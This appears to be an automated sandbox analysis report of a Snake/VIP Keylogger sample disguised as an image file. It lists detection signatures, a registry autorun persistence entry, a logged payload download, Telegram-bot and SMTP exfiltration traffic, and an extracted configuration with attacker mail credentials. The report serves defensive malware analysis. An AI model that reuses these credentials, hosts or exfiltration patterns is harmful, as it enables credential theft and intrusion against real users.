2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x354ca:$a1: get_encryptedPassword 0x3549e:$a2: get_encryptedUsername 0x35562:$a3: get_timePasswordChanged 0x3547a:$a4: get_passwordField 0x354e0:$a5: set_encryptedPassword 0x352ad:$a7: get_logins 0x30b01:$a10: KeyLoggerEventArgs 0x30ad0:$a11: KeyLoggerEventArgsEventHandler 0x35381:$a13: _encryptedPassword
Click to see the 60 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\stub\Sophia.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe, ProcessId: 3392, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\file

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 185.230.214.164, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe, Initiated: true, ProcessId: 3392, Protocol: tcp, SourceIp: 192.168.11.30, SourceIsIpv6: false, SourcePort: 49821

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T16:31:14.013711+0200	2803305	3	Unknown Traffic	192.168.11.30	49812	172.67.177.134	443	TCP
2024-09-24T16:31:14.742507+0200	2803305	3	Unknown Traffic	192.168.11.30	49813	172.67.177.134	443	TCP
2024-09-24T16:31:16.515085+0200	2803305	3	Unknown Traffic	192.168.11.30	49814	172.67.177.134	443	TCP
2024-09-24T16:31:17.255560+0200	2803305	3	Unknown Traffic	192.168.11.30	49815	172.67.177.134	443	TCP
2024-09-24T16:31:18.066005+0200	2803305	3	Unknown Traffic	192.168.11.30	49816	172.67.177.134	443	TCP
2024-09-24T16:31:19.413571+0200	2803305	3	Unknown Traffic	192.168.11.30	49817	172.67.177.134	443	TCP
2024-09-24T16:31:20.165549+0200	2803305	3	Unknown Traffic	192.168.11.30	49818	172.67.177.134	443	TCP
2024-09-24T16:31:20.928000+0200	2803305	3	Unknown Traffic	192.168.11.30	49819	172.67.177.134	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T16:31:10.828763+0200	2803274	2	Potentially Bad Traffic	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:13.562087+0200	2803274	2	Potentially Bad Traffic	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:14.296332+0200	2803274	2	Potentially Bad Traffic	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:16.061568+0200	2803274	2	Potentially Bad Traffic	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:16.795757+0200	2803274	2	Potentially Bad Traffic	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:17.592467+0200	2803274	2	Potentially Bad Traffic	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:18.951543+0200	2803274	2	Potentially Bad Traffic	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:19.717044+0200	2803274	2	Potentially Bad Traffic	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:20.466845+0200	2803274	2	Potentially Bad Traffic	192.168.11.30	49810	158.101.44.242	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T16:31:07.421987+0200	2803270	2	Potentially Bad Traffic	192.168.11.30	49809	64.188.18.75	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "logs@astonherald.com", "Password": "office12#", "Host": "smtp.zoho.eu", "Port": "587", "Version": "4.4"}
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "logs@astonherald.com", "Password": "office12#", "Host": "smtp.zoho.eu", "Port": "587"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\stub\Sophia.exe

ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: Drawing_Products_Materials_and_Samples_IMG.exe

ReversingLabs: Detection: 31%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\stub\Sophia.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Drawing_Products_Materials_and_Samples_IMG.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Drawing_Products_Materials_and_Samples_IMG.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.11.30:49811 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.11.30:49820 version: TLS 1.2

Source:	Binary string: mshtml.pdb source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: _.pdb source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035965000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17883981680.0000000004770000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 0_2_00405459 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,LdrInitializeThunk,FindNextFileA,FindClose,	0_2_00405459
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 0_2_00405E80 FindFirstFileA,FindClose,	0_2_00405E80
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 0_2_0040264F FindFirstFileA,	0_2_0040264F

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A90D10h	2_2_36A90B30
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9169Ah	2_2_36A90B30
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A92F7Eh	2_2_36A92B60
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A92834h	2_2_36A92580
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A92F7Eh	2_2_36A92EAC
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9E56Ch	2_2_36A9E2C0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9DCBCh	2_2_36A9DA10
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9E114h	2_2_36A9DE68
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_36A90676
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9F274h	2_2_36A9EFC8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9E9C4h	2_2_36A9E718
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9EE1Ch	2_2_36A9EB70
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A92F7Eh	2_2_36A92B50
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9CB5Ch	2_2_36A9C8B0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9F6CCh	2_2_36A9F420
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9FB24h	2_2_36A9F878
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_36A90040
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_36A90856
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9D864h	2_2_36A9D5B8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9CFB4h	2_2_36A9CD08
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 36A9D40Ch	2_2_36A9D160
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373625ACh	2_2_37362300
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37367EC8h	2_2_37367B88
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37369693h	2_2_373693C0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373655DCh	2_2_37365330
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373679DCh	2_2_37367730
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37362A04h	2_2_37362758
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37362E5Ch	2_2_37362BB0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37365A34h	2_2_37365788
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37365E8Ch	2_2_37365BE0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37366CD4h	2_2_37366A28
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373648D4h	2_2_37364628
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37361CFCh	2_2_37361A50
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 3736B980h	2_2_3736B6B0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37362154h	2_2_37361EA8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37364D2Ch	2_2_37364A80
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 3736712Ch	2_2_37366E80
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37367584h	2_2_373672D8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37365184h	2_2_37364ED8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37360FF4h	2_2_37360D48
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 3736144Ch	2_2_373611A0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373618A4h	2_2_373615F8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373662E4h	2_2_37366038
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373632B4h	2_2_37363008
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 3736370Ch	2_2_37363460
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373602ECh	2_2_37360040
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 3736673Eh	2_2_37366490
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37360744h	2_2_37360498
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37360B9Ch	2_2_373608F0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then mov esp, ebp	2_2_3736B0C0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D6351h	2_2_373D5FE0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D6982h	2_2_373D6688
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D3998h	2_2_373D36C8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D8632h	2_2_373D8338
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DF42Ah	2_2_373DF130
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D9E1Ah	2_2_373D9B20
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DB602h	2_2_373DB308
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DAC72h	2_2_373DA978
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DC45Ah	2_2_373DC160
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D6E4Ah	2_2_373D6B50
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DDC42h	2_2_373DD948
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DD2B2h	2_2_373DCFB8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D7CA2h	2_2_373D79A8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D1E49h	2_2_373D1BA0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DEA9Ah	2_2_373DE7A0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D948Ah	2_2_373D9190
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DF8F2h	2_2_373DF5F8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DA2E2h	2_2_373D9FE8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DBACAh	2_2_373DB7D0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DC922h	2_2_373DC628
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D7312h	2_2_373D7018
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DE10Ah	2_2_373DDE10
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D8AFAh	2_2_373D8800
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D816Ah	2_2_373D7E70
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DEF62h	2_2_373DEC68
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D9952h	2_2_373D9658
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DB13Ah	2_2_373DAE40
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DA7AAh	2_2_373DA4B0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DBF92h	2_2_373DBC98
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DD77Ah	2_2_373DD480
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DCDEAh	2_2_373DCAF0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D77DAh	2_2_373D74E0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DE5D2h	2_2_373DE2D8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373D8FC2h	2_2_373D8CC8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 373DFDBAh	2_2_373DFAC0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37401FEAh	2_2_37401CF0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 3740165Ah	2_2_37401360
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37400803h	2_2_37400508
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37400CCAh	2_2_374009D0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 3740033Ah	2_2_37400040
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37401B22h	2_2_37401828
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then jmp 37401192h	2_2_37400E98
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_37585E48
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_375850F0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_3758625E
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_37581C88

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic

TCP traffic: 192.168.11.30:49821 -> 185.230.214.164:587

Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2024/09/2024%20/%2010:31:19%0D%0ACountry%20Name:%20Czechia%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 185.230.214.164 185.230.214.164
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: COMPUTERLINEComputerlineSchlierbachSwitzerlandCH COMPUTERLINEComputerlineSchlierbachSwitzerlandCH

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.30:49809 -> 64.188.18.75:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49810 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49812 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49816 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49815 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49814 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49817 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49818 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49819 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49813 -> 172.67.177.134:443

Source: global traffic

TCP traffic: 192.168.11.30:49821 -> 185.230.214.164:587

Source: global traffic	HTTP traffic detected: GET /ReySnONaTTPqhXrIqUlWWanbq212.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 64.188.18.75Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.11.30:49811 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
